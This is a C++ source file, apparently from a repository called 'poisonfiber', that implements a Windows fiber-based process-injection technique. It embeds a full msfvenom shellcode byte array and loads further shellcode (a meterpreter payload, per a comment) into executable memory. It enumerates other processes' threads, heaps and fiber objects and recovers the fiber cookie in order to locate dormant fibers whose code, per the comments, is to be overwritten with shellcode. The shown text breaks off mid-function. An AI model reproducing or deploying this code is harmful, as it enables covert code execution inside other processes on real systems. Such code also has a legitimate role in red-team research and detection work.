Files
Daniel Jary d58c755cd1 First Commit
2024-05-09 14:38:25 +01:00

1621 lines
55 KiB
C++

#include "poisonfiber.h"
#include "resource.h"
/*
* Using this msfvenom shellcode when overwriting Dormant fiber code.
* Since overwriting Fiber code will crash the program after shellcode has executed.
* This shellcode is smaller than custom shellcode from resources,
* thus it is less likely to overwrite other Threads Fiber Code which may prevent our shellcode being switched to (executed).
*
* Clean up Ideas - Perhaps look at using a VEH to restore overwritten FiberCode after executing shellcode.
* The shellcode uses an exit function via seh.
* msfvenom -p windows/x64/exec cmd=calc exitfunc=seh -f c
*/
unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
"\x6f\x87\xff\xd5\xbb\xfe\x0e\x32\xea\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x63\x61\x6c\x63\x00";
template<typename T>
BOOL foundInVector(std::vector<T> myVector, T item)
{
if (std::find(myVector.begin(), myVector.end(), item) != myVector.end())
{
return true;
}
else
{
return false;
}
}
BOOL IsMemReadable(HANDLE& hProcess, PVOID addrToRead, MEMORY_BASIC_INFORMATION& mbi)
{
if (!VirtualQueryEx(hProcess, addrToRead, &mbi, sizeof(MEMORY_BASIC_INFORMATION)))
{
printf("[-] VirtualQueryEx Failed\n");
return false;
}
if (!(mbi.Protect == PAGE_READONLY || mbi.Protect == PAGE_READWRITE || mbi.Protect == PAGE_EXECUTE_READ || mbi.Protect == PAGE_EXECUTE_READWRITE))
return false;
return true;
}
// https://www.unknowncheats.me/forum/c-and-c-/304873-checking-valid-pointer.html
//
BOOL IsInvalidPtr(PVOID ptr)
{
static SYSTEM_INFO si = {};
if (nullptr == si.lpMinimumApplicationAddress)
{
GetSystemInfo(&si);
}
return (((uint64_t)ptr < (uint64_t)si.lpMinimumApplicationAddress || (uint64_t)ptr >(uint64_t)si.lpMaximumApplicationAddress));
}
BOOL IsNtHeapBlockAddr(std::vector<HeapEntryMeta> heapEntryMetaVector, uint64_t addr)
{
for (const auto heapEntryMeta : heapEntryMetaVector)
{
if (heapEntryMeta.heapBlockAddr == addr)
{
return true;
}
}
return false;
}
// https://github.com/wine-mirror/wine/blob/master/dlls/ntdll/thread.c#L485
static unsigned int GetFlsChunkSz(unsigned int chunk_index)
{
return 0x10 << chunk_index;
}
// https://github.com/wine-mirror/wine/blob/master/dlls/ntdll/thread.c#L495
static unsigned int GetFlsChunkIndexFromIndex(unsigned int index, unsigned int* index_in_chunk)
{
unsigned int chunk_index = 0;
while (index >= GetFlsChunkSz(chunk_index))
{
index -= GetFlsChunkSz(chunk_index++);
}
*index_in_chunk = index;
return chunk_index;
}
// Since no FLS indexes have been allocated in the scanner this should generate the maximum index available for the current host
DWORD GetMaxFlsIndexValue()
{
printf("[+] Getting max FLS Index value\n");
DWORD result = 0;
DWORD maxIndex = 0;
UINT count = 0;
while (result != FLS_OUT_OF_INDEXES)
{
result = FlsAlloc(NULL);
count += 1;
if (result != FLS_OUT_OF_INDEXES) {
maxIndex = result;
}
}
printf("[!] Max FLS Index value: %i\n", maxIndex);
printf("[!] Out of available slots at attempt: %i\n", count);
return maxIndex;
}
// Uses SameTebFlags to determine if a thread is running fibers.
// https://www.geoffchappell.com/studies/windows/km/ntoskrnl/inc/api/pebteb/teb/sametebflags.htm
BOOL IsThreadUsingFibers(HANDLE& hProcess, THREAD_BASIC_INFORMATION& tbi)
{
SIZE_T nBytesRead = 0;
USHORT sameTebFlags = 0; // SameTebFlags is a bit mask that can be used to determine if a thread is running fibers.
if (!ReadProcessMemory(hProcess, (LPCVOID)((uint64_t)tbi.TebBaseAddress + TebOffset_SameTebFlags), &sameTebFlags, sizeof(USHORT), &nBytesRead))
{
printf("[-] ReadProcessMemory failed to read SameTebFlags: %i\n", GetLastError());
return false;
}
if (!(sameTebFlags & HasFiberDataMask))
{
return false; // Thread isn't using fibers
}
return true;
}
// Collects information of the current fiber from the TEB & TIB
// Calculates basepFiberCookie - which can be used to calculate FiberObjects for dormant fibers when matching against enumerated heap objects.
BOOL GetFiberObjectInfo(HANDLE& hProcess, THREAD_BASIC_INFORMATION tbi, Fiber& currentFiber, uint64_t& basepFiberCookie)
{
// Collect TEB
TEB teb = { 0 };
if (!ReadProcessMemory(hProcess, tbi.TebBaseAddress, &teb, sizeof(TEB), NULL))
{
printf("[-] ReadProcessMemory failed to read TEB: %i\n", GetLastError());
return false;
}
/*
If TEB->FlsData value == NULL && FiberObject-> then we are operating the non-primary fiber. FiberLocalStorage (FLS) is not being used for that fiber.
Get Fiber related fields from the TEB
0:002 > dt ntdll!_TEB
+0x17c8 FlsData : Ptr64 Void
if (!ReadProcessMemory(hProcess, (LPCVOID)((uint64_t)tbi.TebBaseAddress + TebOffset_FlsData), &tebFlsData, sizeof(PVOID), NULL))
{
printf("[-] ReadProcessMemory Failed to read TebOffset_FlsData: %i\n", GetLastError());
return false;
}
*/
PVOID tibFiberData = NULL;
if (!ReadProcessMemory(hProcess, (LPCVOID)((uint64_t)tbi.TebBaseAddress + TibOffset_FiberData), &tibFiberData, sizeof(PVOID), NULL))
{
printf("[-] ReadProcessMemory Failed to read TibOffset_FiberData: %i\n", GetLastError());
return false;
}
// If TIB->FiberData points to something
if (tibFiberData)
{
if (!ReadProcessMemory(hProcess, tibFiberData, &currentFiber, sizeof(Fiber), NULL))
{
printf("[-] ReadProcessMemory Failed to read current Fiber object using TibOffset_FiberData: %i\n", GetLastError());
return false;
}
}
else
{
printf("[-] Unable to collect FiberData / FiberData == NULL\n");
}
// Set FiberData field in fiberData, this isn't set for running fibers.
currentFiber.FiberData = tibFiberData;
// Calculate BasepFiberCookie
// See CreatFiberEx!KernelBase.dll for XoredCookie being set in Fiber object, merely reversing this process (simultaneous equations) to get BasepFiberCookie value.
uint64_t stackBase = (uint64_t)currentFiber.StackBase;
uint64_t xoredCookie = currentFiber.XoredCookie;
uint64_t fiberObject = (uint64_t)tibFiberData;
// This seems to work :)
uint64_t tmp = xoredCookie ^ stackBase;
basepFiberCookie = tmp ^ fiberObject;
printf("\t[!] basepFiberCookie: %llx\n", basepFiberCookie);
/*
* This is to use against dormant fiber heap blocks.
* Now calculate fiberObject value, using - baseFiberCookie, xoredCookie & stackbase.
* Cross reference fiberObject values against heapblocks. when enumerating.
*/
uint64_t tmp2 = basepFiberCookie ^ stackBase;
uint64_t fiberObject2 = xoredCookie ^ tmp2;
printf("\t[!] Reconstructed FiberObject ptr: %llx\n", fiberObject2);
/*
* Enumerate heap block entries of process's running fibers. (to get potential fiberobject values)
* Use heapBlock address to create a XoredCookie.
* Check heap block to see if XoredCookie value matches offset of that heap entry.
* If it matches then this is a dormant fiber currently running under the same thread.
*/
return true;
}
// Enumerates currently running fibers
// Also collects list of NT heap block entries for processes with threads running fibers.
void GetCurrentThreadsUsingFibers(std::vector<TidPid> tidPidVector, std::vector<FiberInfo>& fiberInfoVector)
{
DWORD scannerPid = NULL;
scannerPid = GetCurrentProcessId();
for (const auto& tidPid : tidPidVector)
{
NTSTATUS status = STATUS_SUCCESS;
THREAD_BASIC_INFORMATION tbi = { 0 };
HANDLE hProcess = NULL;
HANDLE hThread = NULL;
uint64_t basepFiberCookie = 0;
BOOL wow64Process = false;
Fiber fiberObject = { 0 };
FiberInfo fiberinfo = {};
// Skip system PID && self.
if ((tidPid.pid == 4) || (tidPid.pid == scannerPid))
continue;
// Get Handles to the thread and owning process.
hProcess = OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, FALSE, tidPid.pid);
if (!hProcess)
{
goto Cleanup;
}
// Skip WOW64 processes.
IsWow64Process(hProcess, &wow64Process);
if (wow64Process)
{
continue;
}
hThread = OpenThread(THREAD_QUERY_INFORMATION, FALSE, tidPid.tid);
if (!hThread)
{
goto Cleanup;
}
// Get TEB and Thread basic info
status = NtQueryInfoThread(hThread, ThreadBasicInformation, &tbi, sizeof(tbi), nullptr);
if (status != STATUS_SUCCESS)
{
goto Cleanup;
}
// Skip if thread isn't running fibers.
if (!IsThreadUsingFibers(hProcess, tbi))
{
goto Cleanup;
}
else
{
printf("[+] PID: %i, Thread ID: %i, using fibers\n", tidPid.pid, tidPid.tid);
}
// Get BasepFiberCookie for thread.
if (!GetFiberObjectInfo(hProcess, tbi, fiberObject, basepFiberCookie))
{
goto Cleanup;
}
// If we get here then we have all the info we need from the current fiber.
fiberinfo.tidPid = tidPid;
fiberinfo.current = true;
fiberinfo.fiberObject = fiberObject;
fiberinfo.basepFiberCookie = basepFiberCookie;
fiberInfoVector.push_back(fiberinfo);
// Cleanup handles for each Thread and owning process.
Cleanup:
if (hThread != NULL)
{
CloseHandle(hThread);
}
if (hProcess != NULL)
{
CloseHandle(hProcess);
}
}
}
// Takes snapshot of TIDs and owning PIDs.
BOOL ListProcessThreads(std::vector<TidPid>& tidPidVector)
{
printf("[+] Taking a snapshot of running Threads\n");
HANDLE hThreadSnap = INVALID_HANDLE_VALUE;
THREADENTRY32 te32 = {};
hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (hThreadSnap == INVALID_HANDLE_VALUE)
return(FALSE);
te32.dwSize = sizeof(THREADENTRY32);
if (!Thread32First(hThreadSnap, &te32))
{
printf("[-] Thread32First failed\n");
CloseHandle(hThreadSnap);
return FALSE;
}
do
{
TidPid tidPid = {};
tidPid.tid = te32.th32ThreadID;
tidPid.pid = te32.th32OwnerProcessID;
tidPidVector.push_back(tidPid);
} while (Thread32Next(hThreadSnap, &te32));
CloseHandle(hThreadSnap);
return TRUE;
}
BOOL InitializeFuncs()
{
NtQueryInfoThread = (_NtQueryInformationThread)GetProcAddress(GetModuleHandleA("ntdll"), "NtQueryInformationThread");
if (NtQueryInfoThread == NULL)
{
printf("[-] Failed to resolve NtQueryInformationThread\n");
return false;
}
NtQueryInfoProcess = (_NtQueryInformationProcess)GetProcAddress(GetModuleHandleA("ntdll"), "NtQueryInformationProcess");
if (NtQueryInfoProcess == NULL)
{
printf("[-] Failed to resolve NtQueryInformationProcess\n");
return false;
}
printf("[+] Initialized Functions\n");
return true;
}
BOOL LoadShellcodeFromResource()
{
// IDR_SHELLCODE_BIN1 - is the resource ID - which contains the shellcode
// SHELLCODE_BIN is the resource type name we chose earlier when embedding the meterpreter.bin
HRSRC shellcodeResource = FindResource(NULL, MAKEINTRESOURCE(IDR_SHELLCODE_BIN1), L"SHELLCODE_BIN");
if (!shellcodeResource)
{
printf("[-] Failed to find shellcode resource\n");
return false;
}
shellcodeSize = SizeofResource(NULL, shellcodeResource);
if (!shellcodeSize)
{
printf("[-] Failed to retrieve resource size\n");
return false;
}
HGLOBAL shellcodeResouceData = LoadResource(NULL, shellcodeResource);
if (!shellcodeResouceData)
{
printf("[-] Failed to load resource\n");
return false;
}
shellcodeAddr = VirtualAlloc(NULL, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!shellcodeAddr)
{
printf("[-] Failed to allocate memory for resource\n");
return false;
}
memcpy(shellcodeAddr, shellcodeResouceData, shellcodeSize);
printf("[+] Loaded shellcode from resource\n");
return true;
}
// Decodes _HEAP_ENTRY's header to reveal heap block size
void DecodeHeader(uint64_t encodeFlagMask, unsigned char encoding[16], uint64_t heapBlock)
{
unsigned char decodedFields[8];
unsigned char encodedFields[8];
// Decode the first few fields of the heapBlock so we can get correct Size, Flags & SmallTagIndex.
//0:002 > dt ntdll!_HEAP_ENTRY
// + 0x000 PreviousBlockPrivateData : Ptr64 Void
// + 0x008 Size : Uint2B
// + 0x00a Flags : UChar
// + 0x00b SmallTagIndex : UChar
//
if (encodeFlagMask != NULL)
{
memcpy(encodedFields, (const void*)(heapBlock + 0x008), 8);
for (int i = 0; i < 8; ++i)
{
decodedFields[i] = encodedFields[i] ^ encoding[i + 8];
}
memcpy((void*)(heapBlock + 0x008), decodedFields, 8);
}
}
// Passes back memory basic information structure if heap of NT type.
BOOL IsNtHeapPtr(HANDLE hProcess, LPVOID heapPtr, MEMORY_BASIC_INFORMATION& mbi)
{
SIZE_T result;
uint32_t segmentSignature = 0;
if (heapPtr == NULL)
{
return false;
}
result = VirtualQueryEx(hProcess, heapPtr, &mbi, sizeof(mbi));
if (result != sizeof(mbi))
{
return false;
}
// Check if protections and state correspond match those of expected heapPtr
// RtlAllocateHeap only accepts a handle from a private heap which has been created by RtlCreateHeap.
// https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-rtlcreateheap
// Although NT heaps of Type == MEM_MAPPED exist fiber objects will not reside here, so skip.
// https://learn.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-memory_basic_information
if (!((mbi.State == MEM_COMMIT) && (mbi.Type == MEM_PRIVATE) && (mbi.Protect == PAGE_READWRITE)))
{
printf("[!] Skipped NTHeap of Type:MEM_MAPPED. Only interested in Type:MEM_PRIVATE\n");
return false;
}
// Read segment signature of heap from _HEAP Header
// dt ntdll!_HEAP
// 0:002> dt ntdll!_HEAP
// + 0x000 Segment : _HEAP_SEGMENT
// + 0x000 Entry : _HEAP_ENTRY
// + 0x010 SegmentSignature : Uint4B
if (!ReadProcessMemory(hProcess, (LPCVOID)((uint64_t)heapPtr + 0x010), &segmentSignature, sizeof(uint32_t), NULL))
{
printf("[-] ReadProcessMemory failed to read heapPtr: %i\n", GetLastError());
return false;
}
if (segmentSignature == SegmentHeap)
{
printf("[!] Fiber using Segment type heap, skipping\n");
return false;
}
if (segmentSignature != NtHeap)
{
printf("[!] Fiber using unknown heap type, skipping\n");
return false;
}
return true;
}
/*
* Function collects NT type Heap block entry meta-data by:
* 1. Reading heaps of NT type from the PEB
* 2. Decoding heap block headers to reveal size of heap block and determine the requested size given to RtlAllocateHeap function.
*/
BOOL EnumNtHeap(HANDLE& hProcess, std::vector<HeapEntryMeta>& heapEntryMetaVector)
{
PROCESS_BASIC_INFORMATION pbi = {};
PEB peb = {};
std::vector<PVOID> heapPtrVector = {};
std::vector<MEMORY_BASIC_INFORMATION> mbiNtHeapsVector = {};
uint32_t nHeaps = NULL;
uint32_t maxHeaps = NULL;
PVOID heapsPtr = NULL;
// Get PEB
NTSTATUS status = NtQueryInfoProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);
if (!NT_SUCCESS(status))
{
printf("[-] NtQueryInfoProcess failed to collect ProcessBasicInformation\n");
return false;
}
if (!ReadProcessMemory(hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL))
{
printf("[-] ReadProcessMemory failed to read address of the PEB: %i\n", GetLastError());
return false;
}
/*
* Get Heap info.
* 0:002 > dt ntdll!_PEB
* + 0x0e8 NumberOfHeaps : Uint4B
* + 0x0ec MaximumNumberOfHeaps : Uint4B
* + 0x0f0 ProcessHeaps : Ptr64 Ptr64 Void
*/
nHeaps = (uint64_t)peb.Reserved9[16] & 0x00000000FFFFFFFF; // NumberOfHeaps;
maxHeaps = (uint64_t)peb.Reserved9[16] >> 32; // MaximumNumberOfHeaps;
heapsPtr = (PVOID*)peb.Reserved9[17]; // ProcessHeaps;
// Adjust of size of heapPtrVector to nHeaps elements.
heapPtrVector.resize(nHeaps);
// Read heap pointers
if (!ReadProcessMemory(hProcess, heapsPtr, heapPtrVector.data(), sizeof(PVOID) * nHeaps, NULL))
{
printf("[-] ReadProcessMemory failed to read address heap pointers into heapPtrVector: %i\n", GetLastError());
return false;
}
// Only collect NT type heaps.
for (const auto& heapPtr : heapPtrVector)
{
MEMORY_BASIC_INFORMATION mbi = {};
if (!IsNtHeapPtr(hProcess, heapPtr, mbi))
{
continue;
}
mbiNtHeapsVector.push_back(mbi);
}
if (mbiNtHeapsVector.empty())
{
printf("[!] No NT type heaps found\n");
return false;
}
// Enumerate _HEAP_ENTRYs
for (const auto& mbiNtHeap : mbiNtHeapsVector)
{
HeapEntryMeta heapEntryMeta = { 0 };
unsigned char encoding[16];
uint32_t encodeFlagMask = NULL;
uint64_t requestedBytes = NULL;
// We could change this later to only read the size of the _HEAP hdr but we would have to manually define the struct.
void* heapBuffer = calloc(1, mbiNtHeap.RegionSize);
if (!ReadProcessMemory(hProcess, mbiNtHeap.AllocationBase, heapBuffer, mbiNtHeap.RegionSize, NULL))
{
printf("[-] ReadProcessMemory failed to read heap: %i\n", GetLastError());
free(heapBuffer);
continue;
}
/*
* Get the Encoding value and FlagMask from the heap header.
* The EncodeFlagMask determines if heap entries are encoded:
* Encoded == 0x00100000
* Non-encoding == 0x00000000
*
* The Encoding field can be use to decode _HEAP_ENTRY values.
* 0:002 > dt ntdll!_HEAP
* + 0x07c EncodeFlagMask : Uint4B
* + 0x080 Encoding : _HEAP_ENTRY
* 0:002 > ?? sizeof(_HEAP_ENTRY)
* unsigned int64 0x10
*/
memcpy(encoding, (const void*)((uint64_t)heapBuffer + 0x80), 16);
memcpy(&encodeFlagMask, (const void*)((uint64_t)heapBuffer + 0x07c), 4);
// Get HEAP_SEGMENTS
// dt ntdll!_HEAP_SEGMENT
/* + 0x000 Entry : _HEAP_ENTRY
* + 0x010 SegmentSignature : Uint4B
* + 0x014 SegmentFlags : Uint4B
* + 0x018 SegmentListEntry : _LIST_ENTRY
* + 0x028 Heap : Ptr64 _HEAP
* + 0x030 BaseAddress : Ptr64 Void
* + 0x038 NumberOfPages : Uint4B
* + 0x040 FirstEntry : Ptr64 _HEAP_ENTRY
* + 0x048 LastValidEntry : Ptr64 _HEAP_ENTRY
*/
HEAP_SEGMENT heapSegment = { 0 };
memcpy(&heapSegment, (const void*)(uint64_t)heapBuffer, sizeof(HEAP_SEGMENT));
std::vector<LIST_ENTRY*> segmentListEntryVector = {};
LIST_ENTRY segmentListEntry = {};
// Then loop through heap segments to get a list of valid segments.
if (!ReadProcessMemory(hProcess, heapSegment.SegmentListEntry.Flink, &segmentListEntry, sizeof(segmentListEntry), NULL))
{
printf("[-] ReadProcessMemory failed to read SegmentListEntry->Flink:%i\n", GetLastError());
}
while (true)
{
if (foundInVector(segmentListEntryVector, segmentListEntry.Flink))
{
break;
}
segmentListEntryVector.push_back(segmentListEntry.Flink);
if (!ReadProcessMemory(hProcess, segmentListEntry.Flink, &segmentListEntry, sizeof(segmentListEntry), NULL))
{
printf("[-] ReadProcessMemory failed to read SegmentListEntry->Flink [2]:%i\n", GetLastError());
}
}
// Now collect Segment headers
std::vector<HEAP_SEGMENT> heapSegmentVector = {};
for (const auto& entry : segmentListEntryVector)
{
heapSegment = { 0 };
/*
* Minus 0x18 since LIST_ENTRY starts 0x18 byes into _HEAP_SEGMENT structure.
* 0:002 > dt ntdll!_HEAP_SEGMENT
* + 0x000 Entry : _HEAP_ENTRY
* + 0x010 SegmentSignature : Uint4B
* + 0x014 SegmentFlags : Uint4B
* + 0x018 SegmentListEntry : _LIST_ENTRY
* + 0x028 Heap : Ptr64 _HEAP
*/
if (!ReadProcessMemory(hProcess, (LPCVOID)((uint64_t)entry - 0x18), &heapSegment, sizeof(HEAP_SEGMENT), NULL))
{
printf("[-] ReadProcessMemory failed to read heap Segment header :%i\n", GetLastError());
}
// Validate heapSegment
if (heapSegment.Heap == NULL || heapSegment.NumberOfPages == NULL || heapSegment.FirstEntry == NULL || heapSegment.SegmentSignature != 0xffeeffee)
continue;
heapSegmentVector.push_back(heapSegment);
}
// Loop through the _HEAP_SEGMENT to read regions of memory for committed heap blocks.
for (const auto& segment : heapSegmentVector) {
/*
* Size of Mem to read for committed heap blocks
* From : FirstEntry
* To : LastValidEntry - (NumberOfUnCommittedPages * PageSize)
*/
uint64_t lastValidCommitedEntry = NULL;
uint64_t nBytesCommittedHeapBlocks = NULL;
lastValidCommitedEntry = (uint64_t)segment.LastValidEntry - (segment.NumberOfUnCommittedPages * 0x1000);
nBytesCommittedHeapBlocks = lastValidCommitedEntry - (uint64_t)segment.FirstEntry;
uint64_t* heapBlocksBuffer = (uint64_t*)calloc(1, nBytesCommittedHeapBlocks);
if (!ReadProcessMemory(hProcess, (LPCVOID)segment.FirstEntry, heapBlocksBuffer, nBytesCommittedHeapBlocks, NULL))
{
printf("[-] ReadProcessMemory failed to read heap Segment buffer :%i\n", GetLastError());
free(heapBlocksBuffer);
continue;
}
uint64_t currentHeapBlockEntry = 0;
uint64_t blockOffset = 0;
uint64_t heapBlocksBufferTmp = (uint64_t)heapBlocksBuffer;
currentHeapBlockEntry = (uint64_t)segment.FirstEntry;
// Enumerate _HEAP_ENTRY blocks.
while (currentHeapBlockEntry < lastValidCommitedEntry)
{
// Decode encoded _HEAP_ENTRY
DecodeHeader(encodeFlagMask, encoding, (uint64_t)heapBlocksBufferTmp);
/*
* Copy _HEAP_ENTRY header
* 0:003 > dt _HEAP_ENTRY
* ntdll!_HEAP_ENTRY
* + 0x008 Size : Uint2B
* + 0x00a Flags : UChar
* + 0x00b SmallTagIndex : UChar
* + 0x00c PreviousSize : Uint2B
* + 0x00f UnusedBytes : UChar
*/
HEAP_ENTRY heapEntryHdr = { 0 };
memcpy(&heapEntryHdr, (void*)heapBlocksBufferTmp, sizeof(HEAP_ENTRY));
/*
* Size & PreviousSize need to be multiplied by the granularity which is:
* 0x10 for x64.
* 0x08 for x86.
*/
heapEntryHdr.Size *= Granulariy;
heapEntryHdr.PreviousSize *= Granulariy;
// This will be the 3rd parameter given to ntdll!RtlAllocateHeap when creating a Fiber Object via CreateFiberEx & ConvertThreadToFiber/Ex API calls.
requestedBytes = heapEntryHdr.Size - heapEntryHdr.UnusedBytes;
/*
* printf("Address: 0x0000%llx\n", currentHeapBlockEntry);
* printf("Heap Block Size: 0x%x\n", heapEntryHdr.Size);
* printf("Previous Size: 0x%x\n", heapEntryHdr.PreviousSize);
* printf("Flags: 0x%x\n", heapEntryHdr.Flags);
* printf("Unused Bytes : 0x%x\n", heapEntryHdr.UnusedBytes);
* printf("Requested bytes: 0x%x\n\n", requestedBytes);
*/
// Save _HEAP_ENTRY info
heapEntryMeta.pid = (DWORD)pbi.UniqueProcessId;
heapEntryMeta.ntHeapAddr = (PVOID)segment.Heap;
heapEntryMeta.heapBlockAddr = currentHeapBlockEntry;
heapEntryMeta.heapBlockSize = heapEntryHdr.Size;
heapEntryMeta.flags = heapEntryHdr.Flags;
heapEntryMeta.unusedBytes = heapEntryHdr.UnusedBytes;
heapEntryMeta.requestedBytes = requestedBytes;
heapEntryMetaVector.push_back(heapEntryMeta);
// Update address of next HEAP_ENTRY
currentHeapBlockEntry += heapEntryHdr.Size;
// Increment buffer to start of next HEAP_ENTRY
heapBlocksBufferTmp += heapEntryHdr.Size;
}
free(heapBlocksBuffer);
}
// Remove this to only read the fields we care about rather than whole heap!
free(heapBuffer);
}
return true;
}
// Looks for heap entries with a requested block size allocation of 0x530 bytes as potential FiberObjects
void EnumFibersFromHeapBlocks(HANDLE& hProcess, std::vector<HeapEntryMeta> heapEntryMetaVector, FiberInfo& fiberinfo)
{
for (const auto& heapEntryMeta : heapEntryMetaVector)
{
// KernelBase!CreateFiberEx - RtlAllocateHeap(NtCurrentPeb()->ProcessHeap, KernelBaseGlobalData, 0x530ui64);
if (heapEntryMeta.requestedBytes == 0x530)
{
// Skip first 0x10 bytes due to _HEAP_ENTRY header.
// Then read in the Fiber object
Fiber fiberObject = { 0 };
if (!ReadProcessMemory(hProcess, (PVOID)(heapEntryMeta.heapBlockAddr + 0x10), &fiberObject, sizeof(Fiber), NULL))
{
printf("[-] ReadProcessMemory failed to Fiber from heap entry: %i\n", GetLastError());
continue;
}
/*
* Use the XoredCookie value to calculate the FiberData (of address of fiber object heapBlockAddr + 0x10) using the same BasepFiberCookie from the running fiber object.
* If they match then we confirm this is a dormant fiber.
*
* This is for when we have heap blocks.
* Now calculate fiberObject value, using - baseFiberCookie, xoredCookie & stackbase.
* Cross reference fiberObject values against heapblocks. when enumerating.
*/
uint64_t basepFiberCookie = fiberinfo.basepFiberCookie;
uint64_t stackBase = (uint64_t)fiberObject.StackBase;
uint64_t xoredCookie = fiberObject.XoredCookie;
uint64_t tmp2 = basepFiberCookie ^ stackBase;
uint64_t fiberObjectPtr_reconstructed = xoredCookie ^ tmp2;
printf("[+] Reconstructed FiberObject ptr: %llx\n", fiberObjectPtr_reconstructed);
printf("\t[!] heapEntryMeta.heapBlockAddr + 0x10: %llx\n", heapEntryMeta.heapBlockAddr + 0x10);
printf("\t[!] fiberObject->FiberData: %llx\n", (uint64_t)fiberObject.FiberData);
if (fiberObjectPtr_reconstructed == (heapEntryMeta.heapBlockAddr + 0x10))
{
if (fiberObjectPtr_reconstructed != (uint64_t)fiberinfo.fiberObject.FiberData)
{
printf("[+] New Dormant fiber object found!\n");
// Patch up location so we can write to object later.
fiberObject.FiberData = (PVOID)(heapEntryMeta.heapBlockAddr + 0x10);
fiberinfo.dormantFibervector.push_back(fiberObject);
}
}
}
}
}
/*
* A Fiber object->FlsData point will point to a LIST_ENTRY linked list.
* Fibers running on the same thread will have their own LIST_ENTRY within the same shared linked list.
* This function:
* 1. Enumerates the LINKED_ENTRIES * linked list until it circles back on itself, then stores this in a vector of LIST_ENTRY ptrs.
* 2. Creates a master list of LINKED_ENTRIES * which is later used to determine TIDs for dormant fibers on heap
* As dormant fibers have no tid reference in their heap fiber object,
* but the currently executing fibers which share the same LIST_ENTRY linked list will do (since it has been added from the TEB during previous enrichment)
*/
BOOL GetFlsLinkedEntries(HANDLE& hProcess, LPCVOID pFlsData, std::vector<LIST_ENTRY*>& listEntryVector)
{
TEB_FLS_DATA flsData = {};
LIST_ENTRY flsListHead = {};
// Check Fls Data for null value.
if (pFlsData == NULL)
{
printf("[!] FlsData value == NULL. No FLS assigned to fiber!\n");
return false;
}
// Read FLS data.
if (!ReadProcessMemory(hProcess, pFlsData, &flsData, sizeof(flsData), NULL))
{
printf("[-] ReadProcessMemory failed to read fls data: %i\n", GetLastError());
return false;
}
// pfls_list_head = flsData.fls_list_entry.Flink;
if (!ReadProcessMemory(hProcess, flsData.flsListEntry.Flink, &flsListHead, sizeof(flsListHead), NULL))
{
printf("[-] ReadProcessMemory failed to read fls_list_head->Flink:%i\n", GetLastError());
return false;
}
while (true)
{
if (foundInVector(listEntryVector, flsListHead.Flink))
{
break;
}
listEntryVector.push_back(flsListHead.Flink);
if (!ReadProcessMemory(hProcess, flsListHead.Flink, &flsListHead, sizeof(flsListHead), NULL))
{
printf("[-] ReadProcessMemory failed to read fls_list_head->Flink:%i\n", GetLastError());
}
}
return true;
}
// Returns True if successfully found the callback table.
BOOL GetFlsCallbackTable(HANDLE& hProcess, std::vector<LIST_ENTRY*> flsListEntries, std::vector<HeapEntryMeta> heapEntryMetaVector, ULONG index, CallbackTableMeta& callbackTable)
{
// One flsListEntry(LIST_ENTRY)/Thread will contain a flsCallback chunk that points to the callback table.
// The callback table will be stored in its own individual heap block entry.
for (const auto& flsListEntry : flsListEntries)
{
GLOBAL_FLS_DATA globalFlsData = {};
std::vector<FLS_CALLBACK> callbackEntries = {};
ULONG nCallbackEntries = 0;
PVOID pCallbackTable = NULL;
unsigned int chunkIndex = 0;
unsigned int idx = 0;
/*
* Populate GLOBAL_FLS_DATA struct.
* flsListEntry == flsListHead, so minus 0x40 to account for flsCallbackChunks[8].
*
* typedef struct GLOBAL_FLS_DATA
* {
* FLS_INFO_CHUNK* flsCallbackChunks[8];
* LIST_ENTRY flsListHead;
* ULONG flsHighIndex;
* }
*
* typedef struct LIST_ENTRY
* {
* struct _LIST_ENTRY *Flink;
* struct _LIST_ENTRY *Blink;
* }
*/
if (!ReadProcessMemory(hProcess, (PVOID)((uint64_t)flsListEntry - 0x40), &globalFlsData, sizeof(GLOBAL_FLS_DATA), NULL))
{
printf("[-] ReadProcessMemory failed GLOBAL_FLS_DATA struct: %i\n", GetLastError());
continue;
}
// Calculate which chunk index contains ptr to callback table
// FLS_INFO_CHUNK* fls_callback_chunks[chunkIndex];
chunkIndex = GetFlsChunkIndexFromIndex(index, &idx);
pCallbackTable = globalFlsData.flsCallbackChunks[chunkIndex];
/* Callback table example in mem
*
* 0:002> dd 0x000001af79c45a50
* 000001af`79c45a50 0000000b 00000000 00000000 00000000 <- 0b Number of callbacks in table.
